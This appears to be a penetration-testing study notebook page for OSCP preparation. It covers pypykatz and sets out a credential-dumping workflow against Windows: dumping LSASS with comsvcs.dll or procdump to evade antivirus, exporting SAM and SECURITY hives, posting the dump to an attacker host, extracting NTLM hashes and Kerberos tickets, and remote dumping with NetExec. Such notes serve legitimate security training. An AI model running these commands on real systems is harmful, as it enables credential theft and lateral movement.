Pearson's OSCP Notebook

pypykatz

Properties1
tagspypykatz, mimikatz, credential-dumping, lsass, minidump, registry, ntlm, kerberos, post-exploitation, windows, kali

4 min read

pypykatz — Offline Credential Parser (Kali)

pypykatz (skelsec/pypykatz) is a pure-Python Mimikatz implementation. Run it on Kali to parse LSASS dumps and registry hives transferred from Windows targets — no Mimikatz binary on the victim.

Ctrl+F: pypykatz · minidump · lsa · registry · lsass.dmp · SAM · SYSTEM

OSCP use: AV blocks live Mimikatz → dump LSASS on target (comsvcs, procdump, Task Manager) → transfer .dmp → pypykatz lsa minidump lsass.dmp on Kali. Lower OPSEC than running Mimikatz on-box.

Pair with: LSASS (dump workflow) · Mimikatz (live on-box) · Registry Hives and Linux Equivalents (hive export)

📌 pypykatz vs Mimikatz

Mimikatzpypykatz
Runs onWindows (target)Kali / any Python 3.6+
InputLive LSASS / registryMinidump files, hive files, memory dumps
AV riskHigh on targetNone on target (parse off-box)
OSCP defaultWhen AV allowsPreferred when AV blocks Mimikatz

Install (Kali)

pip3 install pypykatz --break-system-packages
 
# Or in a venv (see [[Python#📌 2) Virtual environment (pip tools)]])
python3 -m venv ~/tools-venv && source ~/tools-venv/bin/activate
pip install pypykatz

Verify:

pypykatz --help
pypykatz lsa --help

Git install (if pip fails):

pip3 install minidump minikerberos aiowinreg msldap winacl --break-system-packages
git clone https://github.com/skelsec/pypykatz.git
cd pypykatz && python3 setup.py install

Full install index → Installation - Kali Setup > 📌 Active Directory (Kali-side)

Wiki: pypykatz wiki

📌 1) LSASS minidump — main OSCP workflow

Step 1: Dump on Windows (pick one)

See LSASS > 📌 3) Offline dump — on target (AV evasion)

tasklist | findstr lsass
rundll32 C:\Windows\System32\comsvcs.dll MiniDump <PID> C:\Temp\lsass.dmp full
procdump.exe -accepteula -ma lsass.exe C:\Temp\lsass.dmp

Task Manager → Details → lsass.exe → Create dump file also works.

Step 2: Transfer to Kali

→ File Transfer

Invoke-WebRequest -Uri "http://KALI:8080/" -Method POST -InFile "C:\Temp\lsass.dmp"

Step 3: Parse on Kali

pypykatz lsa minidump lsass.dmp

Useful flags:

FlagPurpose
-k <dir>Export Kerberos tickets (KIRBI) to folder
-o <file>Write output to file
--jsonJSON output
-g / --grepGreppable output
-dParse all files in a directory
-p <package>Parse specific LSASS package (default: all)
# Kerberos tickets for Pass-the-Ticket
pypykatz lsa minidump lsass.dmp -k ./tickets/
 
# Save to file
pypykatz lsa minidump lsass.dmp -o creds.txt
 
# Greppable (pipe to grep)
pypykatz lsa minidump lsass.dmp -g | grep -i ntlm

Minidump must be full memory dump (-ma / full option) — partial dumps may fail.

Mimikatz equivalent (on Kali, if you have mimikatz)

sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

📌 2) Registry hives (offline SAM / LSA secrets)

When you have exported hives instead of LSASS — Registry Hives and Linux Equivalents

# Minimum: SYSTEM (bootkey). Add SAM + SECURITY for full secrets.
pypykatz registry SYSTEM.hive --sam SAM.hive --security SECURITY.hive
 
# Save output
pypykatz registry SYSTEM.hive --sam SAM.hive --security SECURITY.hive -o secrets.txt
 
# Optional SOFTWARE hive (default logon user — large file)
pypykatz registry SYSTEM.hive --sam SAM.hive --security SECURITY.hive --software SOFTWARE.hive
HiveSecrets
SYSTEMBootkey (required to decrypt others)
SAMLocal NTLM hashes
SECURITYLSA secrets, cached domain creds (DCC/DCC2)
SOFTWARESometimes default domain user

Export on target:

reg save HKLM\SYSTEM C:\Temp\SYSTEM.hive
reg save HKLM\SAM C:\Temp\SAM.hive
reg save HKLM\SECURITY C:\Temp\SECURITY.hive

📌 3) Live mode (Windows only — rarely OSCP)

Runs on the Windows target like Mimikatz — triggers AV; prefer offline workflow.

pypykatz live lsa
pypykatz live lsa -k C:\Temp\tickets\
pypykatz live token current

📌 4) Memory dump (Rekall / Volatility-style)

For full memory images (less common in OSCP):

pypykatz rekall memory.dump
pypykatz rekall memory.dump -t 0    # timestamp override if parsing fails

📌 5) What you get & next steps

OutputUse
NTLM hashesPass-the-Hash — LatMovement · evil-winrm -H
AES256/AES128 keysimpacket-getTGT -aesKey — Kerberos Scripts > 📌 3) getTGT.py — Request Ticket-Granting Ticket
Plaintext passwordsDirect login / spray
Kerberos tickets (-k)Pass-the-Ticket — Rubeus ptt
DCC hashesCrack offline — Hashcat -m 2100

Crack NTLM → Hashcat -m 1000 · Lookup → Reference > External resources

Chain → Credential Discovery · Credential Graph

📌 5) crypto — hash from plaintext (OSCP)

Generate NT hash offline when you know a service account password (silver ticket prep):

pypykatz crypto nt 'purPLE9795!@'
# ef699384c3285c54128a3ee1ddb1a0cc

Use with Kerberos Scripts > ticketer -nthash · Manual Hash Generation

📌 6) Remote dump alternative (no file transfer)

NetExec modules dump and parse remotely — see LSASS > 📌 5) Remote dump — NetExec modules (from Kali)

nxc smb TARGET -u user -p pass -M lsassy
nxc smb TARGET -u user -p pass -M nanodump

📌 Quick OSCP Cheat Sheet

REM ─── DUMP ON TARGET ─────────────────────────────────────────
tasklist | findstr lsass
rundll32 C:\Windows\System32\comsvcs.dll MiniDump <PID> C:\Temp\lsass.dmp full
# ─── PARSE ON KALI ────────────────────────────────────────────
pip3 install pypykatz --break-system-packages
pypykatz lsa minidump lsass.dmp
pypykatz lsa minidump lsass.dmp -k ./tickets/ -o creds.txt
 
# ─── REGISTRY HIVES ───────────────────────────────────────────
pypykatz registry SYSTEM.hive --sam SAM.hive --security SECURITY.hive

Graph View

Backlinks